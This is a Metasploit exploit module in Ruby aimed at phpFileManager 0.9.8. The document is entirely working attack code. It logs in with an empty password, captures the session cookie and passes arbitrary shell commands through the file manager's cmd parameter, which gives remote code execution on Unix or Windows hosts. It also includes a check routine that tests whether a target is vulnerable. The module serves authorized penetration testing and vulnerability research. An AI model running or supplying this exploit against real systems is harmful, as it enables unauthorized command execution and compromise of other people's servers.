phpFileManager 0.9.8 Remote Code Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'phpFileManager 0.9.8 Remote Code Execution',  
'Description' => %q{  
This module exploits a remote code execution vulnerability in phpFileManager  
0.9.8 which is a filesystem management tool on a single file.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'hyp3rlinx', # initial discovery  
'Jay Turla' # msf  
],  
'References' =>  
[  
[ 'EDB', '37709' ],  
[ 'URL', 'http://phpfm.sourceforge.net/' ] # Official Website  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 2000,  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd'  
}  
},  
'Platform' => %w{ unix win },  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
['phpFileManager / Unix', { 'Platform' => 'unix' } ],  
['phpFileManager / Windows', { 'Platform' => 'win' } ]  
],  
'DisclosureDate' => 'Aug 28 2015',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The path of phpFileManager', '/phpFileManager-0.9.8/index.php']),  
],self.class)  
end  
  
def check  
txt = Rex::Text.rand_text_alpha(8)  
res = http_send_command("echo #{txt}")  
  
if res && res.body =~ /#{txt}/  
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def push  
uri = normalize_uri(target_uri.path)  
  
# To push the Enter button  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => uri,  
'vars_post' => {  
'frame' => '3',  
'pass' => '' # yep this should be empty  
}  
})  
  
if res.nil?  
vprint_error("#{peer} - Connection timed out")  
fail_with(Failure::Unknown, "Failed to trigger the Enter button")  
end  
  
if res && res.headers && res.code == 302  
print_good("#{peer} - Logged in to the file manager")  
cookie = res.get_cookies  
cookie  
else  
fail_with(Failure::Unknown, "#{peer} - Error entering the file manager")  
end  
end  
  
def http_send_command(cmd)  
cookie = push  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path),  
'cookie' => cookie,  
'vars_get' => {  
'action' => '6',  
'cmd' => cmd  
}  
})  
unless res && res.code == 200  
fail_with(Failure::Unknown, "Failed to execute the command.")  
end  
res  
end  
  
def exploit  
http_send_command(payload.encoded)  
end  
end  
`